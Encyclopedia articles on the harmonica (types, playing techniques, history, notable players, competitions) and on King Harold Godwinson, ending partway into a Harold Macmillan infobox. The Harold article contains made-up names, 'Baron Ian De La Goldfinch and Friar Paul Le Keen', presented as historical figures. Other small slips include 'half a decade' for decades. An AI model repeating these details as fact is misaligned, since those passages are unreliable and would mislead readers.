          The other type of orchestral melodic harmonica is the Polyphonia, (though some are marked "Chromatica"). These have all twelve chromatic notes laid out on the same row. In most cases, both blow and draw have the same tone, though the No. 7 is blow only, and the No. 261, also blow only, has two reeds per hole, tuned an octave apart (all these designations refer to products of M. Hohner). The Polyphonia is often thought to allow the easy playing of pieces such as "Flight of the Bumblebee" (because it is not necessary to switch airflow). However, Dan LeMaire-Bauch disputes this, pointing out that all three players known to him who have played "Bee", (Victor "Panky" Paul, Jia Yi He, and himself) have used 16-hole "push-button" chromatics; nevertheless, in his relentless pursuit of further harmonica knowledge, he would welcome any information on player(s) who do "The Bumblebee" correctly, note-for-note, on a Polyphonia. Dan's performance does however include one 24-note phrase on a No. 7 Poly (pronounced "polly"). The Poly was commonly used to make glissandos and other effects very easy to play--few acoustic instruments can play a chromatic glissando as fast as a Polyphonia.


          


          Bass harmonica


          The bass harmonica consists of two separate combs joined together one atop the other with movable connectors at their ends. These are all-blow instruments covering much the same range as the viol family double bass. Today, bass harmonicas are all octave tuned, which means that each hole has two reeds, one of which plays the bass note and the other a note an octave higher. The lower comb contains the notes of the C major diatonic scale, while the upper comb contains the notes of a C#(Db) diatonic scale.


          


          Chord harmonica


          The chord harmonica has up to 48 chords: major, seventh, minor, augmented and diminished for ensemble playing. It is laid out in four-note clusters, each sounding a different chord on inhaling or exhaling. Typically each hole has two reeds for each note, tuned to one octave of each other. However, less expensive models often have only one reed per note.


          Quite a few orchestra harmonicas are also designed to serve as both bass and chord harmonica, with bass notes next to chord groupings. There are also other chord harmonicas, such as the Chordomonica (which operates similar to a chromatic harmonica), and the junior chord harmonicas (which typically provides 6 chords).


          


          ChengGong harmonica


          A recent harmonica innovation is the ChengGong 程功 (a pun on the inventor's surname and 成功, or "success," pronounced "chenggong" in Mandarin Chinese) harmonica, invented by Cheng Xuexue 程雪學 of China. It has two parts: the main body, and a sliding mouthpiece. The body is a 24 hole diatonic harmonica that starts from b2 to d6 (covering 3 octaves). Its 11-hole mouthpiece can slide along the front of the harmonica, which gives numerous chord choices and voicings (seven triads, three 6th chords, seven 7th chords, and seven 9th chords, for a total of 24 chords available). Yet, the ChengGong is still capable of playing single note melodies and double stops over a range of three diatonic octaves, all the while maintaining a small profile, not much larger than a 12-hole chromatic. Unlike conventional harmonicas, blowing and drawing produce the same notes because its tuning is closer to the note layout of a typical Asian tremolo harmonica or the Polyphonias.


          


          The pitch pipe


          The pitch pipe is essentially a specialty harmonica which is designed for providing a reference pitch to singers and other instruments. The only difference between some early pitch-pipes and harmonicas is the name of the instrument, which reflected the maker's target audience.


          


          Harmonica techniques


          Techniques available for the harmonica are numerous. Some are used to provide additional tonal dynamics, while others are used to increase playing ability. Using these techniques can change the harmonica from a diatonic instrument that can play one key properly into a versatile instrument. Some techniques used include: bending, overbending, overdrawing, position playing and vibrato.


          'Vibrato' is a technique commonly used while playing the harmonica and many other instruments, notably string instruments, to give the note a 'shaking' sound. This technique can be accomplished in a number of ways. The most common way is to change how the harmonica is held. For example, by opening and closing your hands around the harmonica very rapidly you achieve the vibrato effect. Another way is to use a 'head shaking' technique, frequently used in blues harmonica, in which the player moves the lips between two holes very quickly. This gives a quick shaking technique that is slightly more than vibrato and achieves the same aural effect on sustained notes.


          In addition to the 19 notes readily available on the diatonic harmonica, players can play other notes by adjusting their embouchure and forcing the reed to resonate at a different pitch. This technique is called "bending", a term borrowed from guitarists, who literally "bend" a string in order to create subtle changes in pitch. "Bending" also creates the glissandos characteristic of much blues harp and country harmonica playing. Bends are essential for most blues and rock harmonica due to the soulful sounds the instrument can bring out. The famous "wail" of the blues harp typically required bending. In the 1970s, Howard Levy developed the "overbending" technique (also known as "overblowing" and "overdrawing".) Overbending, combined with bending, allowed players like to play the entire chromatic scale.


          In addition to playing the diatonic harmonica in its original key, it is also possible to play it in other keys by playing in other "positions", using different keynotes. Using just the basic notes on the instrument would mean playing in a specific mode for each position. Harmonica players (especially blues players) have developed a set of terminology around different "positions" which can be somewhat confusing to other musicians.


          Harmonica players who amplified their instrument with microphones and tube amplifiers, such as blues harp players, also have a range of techniques which exploit the properties of the microphone and the amplifier, such as changing the way the hands are cupped his hands around the instrument and the microphone or rhythmically breathing or chanting into the microphone while playing.


          


          History


          The harmonica was developed in Europe in the early part of the 19th century, during a period of intense interest in free reed instruments. Free reed instruments like the sheng were fairly common throughout East Asia for centuries and were relatively well-known in Europe for some time. Around 1820, there was an explosion of new free reed designs in Europe and North America. While Christian Friederich Ludwig Buschmann is often cited as the inventor of the harmonica in 1821, it is almost certain that the instrument was simultaneously developed by several inventors working independently. Mouth-blown free reed instruments appeared in the United States, the United Kingdom and in Europe at roughly the same time.


          


          Early harmonicas


          The harmonica first appeared in Vienna, where harmonicas with chambers were sold before 1824 (see also Anton Reinlein and Anton Haeckl). Richter tuning was in use nearly from the beginning. In Germany, Mr. Meisel of Geschichte des Akkordeonbaus in Klingenthal, Schwarzmeisel and Langhammer, bought a harmonica with chambers (Kanzellen) at the Exhibition in Braunschweig in 1824. He and Langhammer in Graslitz copied the instruments; by 1827 they had produced hundreds of harmonicas. Many others followed in Germany and also nearby in what would later become Czechoslovakia. In 1829, Johann Wilhelm Rudolph Glier, also began making harmonicas. In 1830, Christan Messner, a cloth maker and weaver from Trossingen, copied a harmonica his neighbour had brought from Vienna. He had such success that eventually his brother and some relatives also started to make harmonicas. From 1840 onwards, his nephew Christian Weiss was also involved in the business.


          By 1855, there were at least three registered harmonica-making businesses in existence: C. A. Seydel Shne, Christian Messner & Co., and Wrtt. Harmonikafabrik Ch. WEISS. Currently, only C.A. Seydel is still in business.


          Owing to competition between the harmonica factories in Trossingen and Klingenthal, machines were invented to punch the covers for the reeds. In 1857, Matthais Hohner, a clockmaker from Trossingen, started producing harmonicas, eventually to become the first person to mass-produce them. He was the first to order the wooden comb that goes in the centre of the instrument from other firms which machine-cut the parts. By 1868, he could deliver his first orders to the United States.


          By the 1820s, the diatonic harmonica had largely reached its modern form. Other types followed soon thereafter, including the various tremolo and octave harmonicas. By the late 19th century, harmonica production was a big business, having evolved from a handcraft into mass-production with figures well into the millions, a market which continues to expand. New designs were still developed in the 20th century, including the chromatic harmonica, first made by Hohner in 1924, the bass harmonica, and the chord harmonica. In the 21st century, radical new designs are still being introduced into the market, such as the Suzuki Overdrive and Hohner XB-40.


          Diatonic harmonicas were designed primarily for the playing of German and other European folk musics and have succeeded well in those styles. Possibly unforeseen by its makers, the basic design and tuning proved adaptable to other types of music such as the blues, country, old-time and more. The harmonica was a success almost from the very start of production, and while the centre of the harmonica business has shifted from Germany, the output of the various harmonica manufacturers is still very high. Major companies are now found in Germany ( Seydel, Hohner - once the dominant manufacturer in the world, producing some 20 million harmonicas alone in 1920 when German manufacturing totalled over 50 million harmonicas), Japan ( Suzuki, Tombo, Yamaha), China (Huang, Leo Shi, Suzuki, Hohner) and Brasil (Hering). Recently, responding to increasingly demanding performance techniques, the market for high quality instruments has grown, resulting in a resurgence of hand-crafted harmonicas catering to those wanting the best, without the compromises inherent in mass manufacturing.


          


          Europe and North America


          


          Early use


          Shortly after Hohner began manufacturing harmonicas in 1857, he shipped some to relatives who had emigrated to the United States. Its music rapidly became popular, and the country became an enormous market for Hohner's goods. President Abraham Lincoln carried a harmonica in his pocket, and harmonicas provided solace to soldiers on both the Union and Confederate sides of the American Civil War. Frontiersmen Wyatt Earp and Billy the Kid played the instrument, and it became a fixture of the American musical landscape.


          The first recordings of harmonicas were made in the U.S. in the 1920s. These recordings are included 'race-records', intended for the black market of the southern states with solo recordings by DeFord Bailey, duo recordings with a guitarist Hammie Nixon, Walter Horton, Sonny Terry, as well as hillbilly styles recorded for white audiences, by Frank Hutchison, Gwen Foster and several other musicians. There are also recordings featuring the harmonica in jug bands, of which the Memphis Jug Band is the most famous. But the harmonica still represented a toy instrument in those years and was associated with the poor. It is also during those years that musicians started experimenting with new techniques such as tongue-blocking, hand effects and the most important innovation of all, the 2nd position, or cross-harp.
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          1950s Blues players


          The harmonica then made its way with the blues and the black migrants to the north, mainly to Chicago but also to Detroit, St. Louis and New York. The music played by the Afro-Americans started increasingly electric use amplification for the guitar, blues harp, double bass, and vocals. Rice Miller, better known as Sonny Boy Williamson II, is one of the most important harmonicists of this era. Using a full blues band, he became one of the most popular acts in the South due to his daily broadcasts on the 'King Biscuit Hour', originating live from Helena, Arkansas. He also helped make popular the cross-harp technique, opening the possibilities of harp playing to new heights. This technique has now become one of the most important blues harmonica techniques.


          But Williamson was not the only innovator of his time. A young harmonicist by the name of Marion " Little Walter" Jacobs would completely revolutionize the instrument. He had the idea of playing the harmonica near a microphone (typically a "Bullet" microphone marketed for use by radio taxi dispatchers, giving it a "punchy" mid-range sound that can be heard above radio static, or an electric guitar). He also cupped his hands around the instrument, tightening the air around the harp, giving it a powerful, distorted sound, somewhat reminiscent of a saxophone. This technique, combined with a great virtuosity on the instrument made him arguably the most influential harmonicist in history.


          Little Walter's only contender was perhaps Big Walter Horton. Relying less on the possibilities of amplification (although he made great use of it) than on sheer skill, Big Walter was the favored harmonicist of many Chicago leaders, including Willie Dixon. He graced many record sides of Dixon's in the mid-fifties with extremely colorful solos, using the full register of his instrument as well as some chromatic harmonicas. A major reason he is less known than Little Walter is because of his taciturn personality, his inconsistency, and his incapacity for holding a band as a leader. Horton, also known as "Shakey," was also a player on arguably the most exciting 12 bars of recorded harp on the classic Jimmie Rodgers "Walkin' By Myself" on Chess (1957).


          Other great harmonicists have graced the Chicago blues records of the 1950s. Howlin' Wolf is often overlooked as a harp player, but his early recordings demonstrate great skill, particularly at blowing powerful riffs with the instrument. Sonny Boy Williamson II used the possibilities of hand effects to give a very talkative feel to his harp playing. A number of his compositions have also become standards in the blues world. Williamson had a powerful sound and extended his influence on the young British blues rockers in the 1960s, recording with Eric Clapton and The Yardbirds and appearing on live British television. Stevie Wonder taught himself harmonica at age 5 and plays the instrument on many of his recordings. Jimmy Reed played harmonica on most of his iconic blues shuffle recordings.
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          1960s and 1970s Blues players


          The 1960s and 1970s saw the harmonica become less prominent, as the overdriven electric lead guitar became the dominant instrument for solos. Paul Butterfield is perhaps the most well known harp player of the era in the blues arena. Heavily influenced by Little Walter, he pushed further the virtuosity on the harp. However, he rapidly fell into the use of drugs and alcohol and, after his first four albums, his career stagnated.


          Two journeymen Chicago harmonica players were perhaps the most regarded of this era - both associated with the Muddy Waters Band, and both featured on the classic Vanguard release "Chicago: The Blues Today! Vols 1-3" James Cotton and Junior Wells. Cotton, still playing in 2006 although with greatly diminished vocal powers, was the most energetic harp player of his time and specialized in slow, magnificent note-bends, along with vocals, heavily influenced by Bobby "Blue" Bland. A respected blues singer, his recordings and live playing with his partner, blues guitarist Buddy Guy, defined the sixties and seventies blues scene (for a detailed account of their live performances, read "Satchmo Blows Up the World" by Penny M. Von Eschen, an account of the State Department tours that Junior and Buddy were involved in during this time).


          Bob Dylan also famously played his harmonica to add a touch of blues to his folk and rock sound during this era. Dylan was known for placing his harmonicas in a brace so that he could simultaneously blow the harp and play his guitar. Van Morrison, a long-time harmonica player, first played the instrument onstage in 1963 during a performance of Sonny Boy Williamson II's song "Elevate Me Mama". In 1965, when in London with his Them band and staying at the Royal Hotel, Morrison would run errands for Little Walter for harmonica playing tips.


          George "Mojo" Buford, Jerry Portnoy, Lazy Lester, Corky Siegel, Sugar Blue, Charlie Musselwhite, Kim Wilson, Taj Mahal, Slim Harpo , Al "Blind Owl" Wilson of Canned Heat, John Sebastian of The Lovin' Spoonful (whose father was also a harmonica star in the Larry Adler classical harmonica days), and others all contributed originality and creativity to the recorded history of the blues harmonica. Many rock enthusiasts are heavily sentimental about the brief recorded harmonica life of Beatle John Lennon, who played it on such early hits as " Love Me Do" and " I Should Have Known Better". Lennon used the instrument in his solo career on songs such as " Oh Yoko!."


          Recently, newer harp players have had major influence on the sound of the harmonica. Heavily influenced by the electric guitar sound, John Popper of Blues Traveler, electric solos are played at a breakneck speed. He is widely credited with many innovations in harmonica playing, such as playing through guitar effects. Tom Morello from Rage Against the Machine has also demonstrated the ability to play the harmonica on an electric guitar through pedal use. Blackfoot, an all Native American band, used the harmonica in one specific song, the Train Song, to simulate a train whistle and track. Blackfoot also utilizes the harmonica in other blues/rock songs, as well do many other bands and artists.
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          2000s Blues players


          Contemporary harmonicists Howard Levy, Jason Ricci, Carlos del Junco, Olivier Poumay, Frederic Yonnet and John Popper emulate Little Walter. Levy explored and pioneered the over blow technique in the early seventies, which enables the diatonic harmonica to play full chromatic scales across three octaves, while retaining the particular sound of the harp. The over blow technique was first recorded in 1927 by Blues Birdhead (real name James Simons). Overblowing has been displayed more and more in the 1990s with the emergence of players like Howard Levy, Carlos del Junco, Adam Gussow, Chris Michalek, and Otavio Castro, and players like Jason Ricci are starting to integrate it in a more blues or rock oriented music.


          


          Other styles and regions


          European harmonica player Philip Achille, who performs Irish, Classical, Jazz, Qawali and sufi music, has won jazz competitions and his classical performances have led to appearances on the BBC as well as ITV and Channel 4. In France, Nikki Gadout has become well known, and in Germany, Steve Baker and Ren Giessen (who played the title melody of the Winnetou-movies) are well respected. The Brazilian Flvio Guimare performs a variety of styles. In Nashville it is P. T. Gazell and Charlie McCoy, an American music harmonicist. In Irish circles, it is James Conway. Peter "Madcat" Ruth maintains an active website that links to the sites of contemporary players around the world. Wade Schuman, founder of the group Hazmat Modine, has fused overblowing with older traditional styles and middle European harmonies. Levy plays one-handed piano and harmonica together in unison or harmony, performing bebop and world music.


          


          Southeast Asia


          


          Development in Hong Kong and Mainland China


          Harmonica music started to develop in Hong Kong in the 1930s. Individual tremolo harmonica players from China moved to Hong Kong to set up different harmonica organizations such as The Chinese Y.M.C.A. Harmonica Orchestra (中華基督教青年會口琴樂隊) and China Harmonica Society (中國口琴社). Heart String Harmonica Society was another organization set up by the then sole agency of Hohner in Hong Kong, W.S. Shirly & Co.


          In the 1950s, other than tremolo harmonica, chromatic harmonica became popular in Hong Kong. Prominent harmonica players Larry Adler and John Sebastian were invited to perform in Hong Kong. Local players such as Lau Mok (劉牧) and Fung On (馮安) were also devoted to the promotion of the chromatic harmonica. In the Chinese Y.M.C.A. Harmonica Orchestra, Fung On gradually replaced tremolo and diatonic harmonicas with the chromatic harmonica.


          The symphonic orchestration of the Chinese Y.M.C.A. Harmonica Orchestra started in the 1960s. The goals were to enhance the tone colour and the volume and to perform pieces composed for a symphony orchestra. In the mid-60s, the Chinese Y.M.C.A. Harmonica Orchestra had developed into one with about 100 members. Aimed at imitating the symphonic orchestration of the western orchestra; a number of traditional instruments in a western orchestra were replaced by various types of harmonica: violin and viola were replaced by 12-hole and 16-hole chromonicas; cello by chord harmonica, contra bass and octave bass; double bass by octave bass; flute by pipe soprano; clarinet by pipe alto; trumpet by horn soprano; trombone by horn alto; oboe by melodica soprano; English horn by melodica alto; French horn by melodica professional. Simultaneously, double bass, accordion, piano, and percussion like timpani and xylophone were also used.


          The 1970s was regarded as the flourishing period in the development of harmonica music in Hong Kong. Haletone Harmonica Orchestra was set up at Wong Tai Sin Community Centre. Fung On and others continued to teach harmonica and set up harmonica orchestras in local secondary schools such as Hotung Secondary School, King's College, Kiangsu-Chekiang College, Queen's College, St. Paul's College, St. Paul's Co-educational College.


          In the 1980s, the number of harmonica learners decreased steadily, the result being that harmonica music in Hong Kong did not grow notably.


          In the 1990s, however, the development of harmonica music flourished again. Harmonica players in Hong Kong began to participate in international harmonica competitions, including the World Harmonica Festival in Germany and the Asia Pacific Harmonica Festival in different Asian cities.


          In the 2000s, the Hong Kong Harmonica Association (H.K.H.A.) (香港口琴協會) was established. The arrangement of its orchestras  the H.K.H.A. Harmonica Orchestra and the H.K.H.A. St. James' Settlement Junior Harmonica Orchestra  largely follows that of the Chinese Y.M.C.A. Harmonica Orchestra. It is evident that over the last forty years, the symphonic orchestration of harmonica music remained, in principle, the same. Put differently, the influence of Fung On in the symphonic orchestration of harmonica music in Hong Kong has been sustained for nearly half a decade.


          Overall, Hong Kong can be seen as the forerunner of the formation of symphonic orchestration of harmonica music around the world. In the closing ceremony of the World Harmonica Festival in Trossingen, Germany in 2005, a European adjudicator told Dr. Ho Pak Cheong (何百昌醫生), the founding president of the H.K.H.A., that the Hong Kong delegation had brought a new world to the harmonica. In the Festival, the delegation was awarded first place in the categories of Orchestra, and School Orchestra; the distinctive characters of the H.K.H.A. harmonica orchestras seem to be recognized by overseas, renowned, harmonica players.


          


          Development in Japan and Taiwan


          In 1898, the harmonica was brought to Japan; there, the Japanese were more interested in the sound of the Tremolo; however after about 30 years, they became dissatisfied with the richter-based layout of the tremolo harmonica, and thus developed the scale tuning, as well as the semitone harmonicas, in order to be able to perform Japanese folk songs. During sometime in 1924 and 1933, it was brought to other places in East Asia.


          The history of the harmonica in Taiwan began around 1945, due to the influence of numerous harmonica experts, as well as versatility and cheap prices of the harmonica. It became one of the standard instruments on the island, being treated as a serious instrument during its peak at the 1980s  more so than Europe and America, where it was often associated as a blues-only instrument. However, as the western lifestyle began to spread, as well as an increase in living standards, many instruments that were once too expensive to buy could be bought by the Taiwanese. Additionally, due to many schools of methodologies on the harmonica, the harmonica as an instrument almost faded to obscurity in the 90s. In order to raise the appeal of the harmonica back to it what it once was, numerous harmonica lovers in Taiwan began to promote the harmonica heavily, starting with the introduction of harmonicas and methodology that are popular in the Western world (eg. Chromatic and Diatonic harmonicas), as well as participating in numerous international competitions. In 1993, the Yellowstone Orchestra won the first gold in an international harmonica competition. However, to the disappointment of many harmonica players, the resources for education are severely lacking, and many materials are not much different from those that were created 20 years ago.


          


          Medical use


          "Playing" the harmonica requires inhaling and exhaling strongly against resistance. This action helps develop a strong diaphragm and deep breathing using the entire lung volume. Pulmonary specialists have noted that playing the harmonica resembles the kind of exercise used to rehabilitate COPD patients such as using a PFLEX inspiratory muscle trainer or the inspiratory spirometer. Learning to play a musical instrument also offers motivation in addition to the exercise component. Many pulmonary rehabilitation programs therefore have begun to incorporate the harmonica.


          


          Competition


          A big harmonica competition is held in the autumn every four years in Trossingen, Germany, home of the Hohner harmonica company. The last World Harmonica Festival was in 2005 and - if all goes well - the next will be in 2009. However, there is a Harmonica Masters Workshop held every year.


          Another international harmonica event is held in the summer every two years in cities in the Asia Pacific Region, which is called Asia Pacific Harmonica Festival. The next festival is to be held in summer 2008 in Hangzhou, China.


          In Hong Kong, Schools Music Festival is held every year for school students to compete in different music classes. Harmonica classes include band for primary and secondary schools, ensemble for secondary school, duet for secondary school, solo (junior, intermediate, and senior), and concert work (open).


          Every August there is a harmonica contest in Idaho. The contest has been running for eighteen years since 1989. The contest is held in Yellow Pine about 150 miles outside of Boise, Idaho and is called the Yellow Pine Harmonica Contest.


          


          Related instruments


          The concertina, diatonic and chromatic accordions and the melodica are all free-reed instruments which were developed alongside the harmonica. Indeed, the similarities between harmonicas and so-called "diatonic" accordions or melodeons is such that in German the name for the former is "Mundharmonika" and the later "Handharmonika", translated simply as "mouth harmonica" and "hand harmonica". The harmonica shares similarities to all other free-reed instruments by virtue of the method of sound production.


          There also exists the unrelated glass harmonica, which is often confused with being a harmonica made of glass. In fact, it is a musical instrument formed of a nested set of graduated glass cups mounted sideways on an axle and partially immersed in water. It is played by touching the rotating cups with wetted fingers, causing them to vibrate.


          


          Harmonica events


          
            	World Harmonica Festival


            	Asia Pacific Harmonica Festival

          


          


          Famous harmonicists
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              	Harold II Godwinson
            


            
              	King of England (more...)
            


            
              	[image: ]
            


            
              	Reign

              	5 January  20 October 1066
            


            
              	Coronation

              	6 January 1066
            


            
              	Predecessor

              	Edward the Confessor
            


            
              	Successor

              	Edgar theling
            


            
              	Spouse

              	Ealdgyth Swan-neck
            


            
              	Issue
            


            
              	Godwin

              Edmund

              Magnus

              Gunhild

              Gytha

              Harold

              Ulf
            


            
              	Full name
            


            
              	Harold Godwinson
            


            
              	Royal house

              	House of Godwin
            


            
              	Father

              	Godwin, Earl of Wessex
            


            
              	Mother

              	Gytha Thorkelsdttir
            


            
              	Born

              	Circa 1022

              Wessex, England
            


            
              	Died

              	14 October 1066

              Battle, East Sussex
            


            
              	Burial

              	Waltham Abbey, Waltham Abbey, England
            

          


          Harold Godwinson, or Harold II (c. 1022  October 14, 1066) was the last of the Anglo-Saxons to be crowned King of England - Edgar theling (c. 1051  c. 1126) was to be his successor after the Battle of Hastings, by the proclaimation of the Witan, but was not crowned. His reign was from January 5 to October 14, 1066. He was killed attempting to repel the Norman invaders, led by William the Conqueror, at the Battle of Hastings.


          


          Lineage


          Harold's father was Godwin, the powerful Earl of Wessex believed to be a son to Wulfnoth Cild, Thegn of west Sussex.


          Godwin married twice, both times to Danish women of high rank. His first wife was the Danish princess Thyra Sveinsdttir, a daughter of Sweyn I, who was King of Denmark and Norway. His second wife was Gytha Thorkelsdttir, whose brother or cousin Ulf Jarl was the son-in-law of Sweyn I and the father of Sweyn II. Gytha and Ulf were allegedly grandchildren to the legendary Swedish Viking Styrbjrn the Strong (a disinherited prince of Sweden) and great-grandchildren to Harold Bluetooth, King of Denmark and Norway. This second marriage resulted in the birth of several children, notably two sons, Harold and Tostig Godwinson (who played a prominent role in 1066) and a daughter Edith of Wessex (102075), who was Queen consort of Edward the Confessor.


          


          Powerful nobleman


          When Godwin died in 1053, his son Harold took over. It was he, rather than Edward, who subjugated Wales in 1063 and negotiated with the rebellious Northumbrians in 1065. Consequently, shortly before his death, Edward named Harold as his successor even though he may already have promised the crown to a distant cousin, William, Duke of Normandy. He died on 4 January 1066 and was buried in the Abbey he had constructed at Westminster.


          As a result of his sister's marriage to the king, Godwin's second son Harold was made Earl of East Anglia in 1045. Harold accompanied Godwin into exile in 1051, but helped him to regain his position a year later. When Godwin died in 1053, Harold succeeded him as Earl of Wessex (a province at that time covering the southernmost third of England). This made him the second most powerful figure in England after the king.


          In 1058 Harold also became Earl of Hereford, and replaced his late father as the focus of opposition to growing Norman influence in England under the restored English monarchy (104266) of Edward the Confessor, who had spent more than a quarter of a century in exile in Normandy.


          He gained glory in a series of campaigns (106263) against the ruler of Gwynedd, Gruffydd ap Llywelyn, who had conquered all of Wales; this conflict ended with Gruffydd's defeat (and death at the hands of his own troops) in 1063.


          In 1064, Harold was apparently shipwrecked in Ponthieu. There is much speculation about the reason for this, with Norman sources saying that his journey was to give William King Edward's offer of the throne. One explanation was that Harold was seeking the release of members of his family who had been held hostage since Godwin's exile in 1051. Another is that he was on his way for a meeting with allies. According to the Norman version, his vessel was blown off course, and he was held hostage by Count Guy of Ponthieu. Duke William arrived soon after and ordered Guy to turn Harold over to him. The source of much of this information can be found in the writings of William of Poitiers, whose veracity has been called into question.


          Harold then accompanied William to battle against William's enemy, Conan II, Duke of Brittany. While crossing into Brittany past the fortified abbey of Mont St Michel, Harold rescued two of William's soldiers, Baron Ian De La Goldfinch and Friar Paul Le Keen from the quicksand. They pursued Conan from Dol de Bretagne, then to Rennes, and finally to Dinan, where he surrendered the fortress' keys on the point of a lance. William presented Harold with weapons and arms, knighting him. The Bayeux Tapestry, and other Norman sources, then record that Harold swore an oath to William to support his claim to the English throne.


          By this time, William considered himself to be the successor of the childless Edward the Confessor, but the only sources we have for this are Norman ones from after the conquest, as the contemporary English sources such as the Anglo Saxon Chronicle are silent on the matter, referring to Edward's grand-nephew, Edgar theling, son of Edward the Exile, as theling, or princely heir. It is unlikely that King Edward had ever made such as an offer, especially after the efforts of Harold to get the return of Edward the Exile, son of Edmund Ironside from Hungary, in 1057. During his supposed captivity, William of Poitiers claims that William obtained from Harold an oath to support William as the future king of England. After Harold's death, the Normans were quick to point out that in accepting the crown of England, Harold had perjured himself of this oath.


          The chronicler Orderic Vitalis wrote: "This Englishman was very tall and handsome, remarkable for his physical strength, his courage and eloquence, his ready jests and acts of valour. But what were these gifts to him without honour, which is the root of all good?".


          In 1065 Harold supported Northumbrian rebels against his brother Tostig, due to unjust taxation instituted by Tostig, and replaced him with Morcar. This strengthened his acceptability as Edward's successor, but fatally divided his own family, driving Tostig into alliance with King Harald Hardrada ("Hard Reign") of Norway.


          


          Marriages and children


          For some twenty years Harold was married mōre Danicō (in the Danish manner) to Ealdgyth Swan-neck (also known as Edith Swanneschals or Edith Swanneck) and had at least six children by her. The marriage was widely accepted by the laity, although Edith was considered Harold's mistress by the clergy. Their children were not treated as illegitimate. Among them was a daughter Gytha, later wife of the Russian prince Vladimir Monomachus, or Vladimir Monomakh. Through descendants of this Anglo-Russian marriage, Harold is thus the ancestor of later English kings.


          About January 1066, Harold married Aldith (or Aldgyth), daughter of lfgar, Earl of Mercia, and widow of the Welsh prince Gruffydd ap Llywelyn. Aldith had two sons  possibly twins  named Harold and Ulf (born circa November 1066), both of whom survived into adulthood and probably ended their lives in exile.


          After her husband's death, the queen is said to have fled for refuge to her brothers Edwin, Earl of Mercia and Morcar of Northumbria but both men made their peace with the Conqueror initially before rebelling and losing their lands and lives. Aldith may have fled abroad (possibly with Harold's mother, Gytha, or with Harold's daughter, Gytha).


          


          Reign as King


          Edward the Confessor was on his deathbed and pointed to Harold. This sign was taken, by the other present noblemen, to mean that Edward chose Harold as his successor, though some say it was merely a curse. On January 5, 1066, the Witenagemot (the assembly of the kingdom's leading notables) approved him for coronation, which took place the following day. It was the first coronation in Westminster Abbey. Although later Norman sources point to the suddenness of this coronation, it is possible that it took place whilst all the nobles of the land were present at Westminster for the feast of Epiphany and not because of any usurpation of the throne on Harold's part.


          England was then invaded by both Harald Hardrada of Norway and William, Duke of Normandy, both of whom claimed the English crown. William claimed that he had been promised the English crown by Edward, and that Harold had sworn to support his claim after having been shipwrecked in Ponthieu. Harald Hardrada formed an alliance with Harold's rebellious brother Tostig. Harold offered his brother a third of the kingdom if he joined him, and Tostig asked what Harold would offer the king of Norway. "Six feet of ground or as much more as he needs, as he is taller than most men," was Harold's response according to Henry of Huntingdon. It is, however, unknown whether this conversation ever took place.


          Invading what is now Yorkshire in September 1066, Harald Hardrada and Tostig defeated the English earls Edwin of Mercia and Morcar of Northumbria at the Battle of Fulford near York on ( September 20). They were in turn defeated and slain by Harold's army five days later at the Battle of Stamford Bridge ( September 25), Harold having led his army north on a forced march from London in four days and caught them by surprise.
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              The spot where Harold died, Battle Abbey
            

          


          Harold now again forced his army to march 241 miles (386 kilometres) to intercept William, who had landed perhaps 7000 men in Sussex, southern England three days later on September 28. Harold established his army in hastily built earthworks near Hastings. The two armies clashed at the Battle of Hastings, near the present town of Battle close by Hastings on October 14, where after a hard fight Harold was killed and his forces routed. His brothers Gyrth and Leofwine were also killed in the battle. According to tradition, Harold was killed by an arrow in the eye, but it is unclear if the victim depicted in the Bayeux Tapestry is intended to be Harold, or whether indeed the tapestry's scene depicts that particular type of wound. Whether he did, indeed, die in this manner (a death associated in the Middle Ages with perjurers), or was killed by the sword, will never be known. Harold's first wife, Edith Swanneck, was called to identify the body (the face being destroyed), which she did by the tattoos pricked into his chest which read "Edith" and "England".
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              Tomb of King Harold II at Waltham Abbey, Essex
            

          


          Harold's body was buried in a grave of stones overlooking the shore, and was only given a proper funeral years later in his church of Waltham Holy Cross in Essex, which he had refounded in 1060.


          Harold's strong association with Bosham and the discovery of an Anglo-Saxon coffin in the church in the 1950s has led some to speculate that King Harold was buried there. A recent bid to exhume a grave in Bosham church was refused by the Diocese of Chichester in December 2004, the Chancellor ruling that the chances of establishing the identity of the body as Harold II were too slim to justify disturbing a burial place. A prior exhumation had revealed the remains of a middle-aged man lacking one leg, a description which fits the fate of the king according to certain chroniclers.


          


          Legacy and Legend


          Harold's daughter Gytha of Wessex married Vladimir Monomakh Grand Duke ( Velikii Kniaz) of Kievan Rus' and is ancestor to dynasties of Galicia, Smolensk and Yaroslavl, whose scions include Modest Mussorgsky and Peter Kropotkin. Isabella of France (consort of Edward II) was also a direct descendant of Harold via Gytha, and thus the bloodline of Harold was re-introduced to the Royal Line. Subsequently, undocumented allegations that the Russian Orthodox Church has recently recognised Harold as a martyr have been made. Ulf, along with Morcar and two others, were released from prison by King William as he lay dying in 1087. He threw his lot in with Robert Curthose, who knighted him, and disappeared from history. Two of his elder half-brothers, Godwine and Magnus, made a number of attempts at invading England in 1068 and 1069 with the aid of Diarmait mac Mail na mBo. They raided Cornwall as late as 1082, but died in obscurity in Ireland.


          A cult of hero-worship rose around Harold, and by the 12th century, legend says that Harold had indeed survived the battle, had spent two years in Winchester after the battle recovering from his wounds, and then traveled to Germany, where he spent years wandering as a pilgrim. As an old man, he supposedly returned to England, and lived as a hermit in a cave near Dover. As he lay dying, he confessed that although he went by the name of Christian, he had been born Harold Godwinson. Various versions of this story persisted throughout the Middle Ages, but have little basis in fact.Harold's wife was pregnant with a son when he died, whom she named "Harold" and he became a monk at Waltham Abbey and is said to have met Henry I, leading to the idea that Harold Godwinsson had survived, instead of Harold Haroldsson.


          Literary interest in Harold revived in the 19th century, with the play Harold, by Alfred, Lord Tennyson, in 1876; and the novel Last of the Saxon Kings, by Edward Bulwer-Lytton, in 1848. Rudyard Kipling wrote a story, The Tree of Justice (1910), describing how an old man who turns out to be Harold is brought before Henry I. E. A. Freeman wrote a serious history in History of the Norman Conquest of England (187079), in which Harold is seen as a great English hero. Fictional accounts based on the events surrounding Harold's struggle for and brief reign as king of England have been published, notably "The Interim King" by James McMilla and "The Last English King" by Julian Rathbone.


          The Times runs the obituary of "Harold of England" on the anniversary of his death.


          


          Literature


          
            	A list of both fiction and non-fiction books relating to Harold Godwinson
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              	The Rt Hon Harold Macmillan
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                  Prime Minister of the United Kingdom
                

              
            


            
              	Inoffice

              11 January 1957 19 October 1963
            


            
              	Monarch

              	Elizabeth II
            


            
              	Deputy

              	Rab Butler
            


            
              	Precededby

              	Sir Anthony Eden
            


            
              	Succeededby

              	Sir Alec Douglas-Home
            


            
              	
                


                
                  Chancellor of the Exchequer
                

              
            


            
              	Inoffice

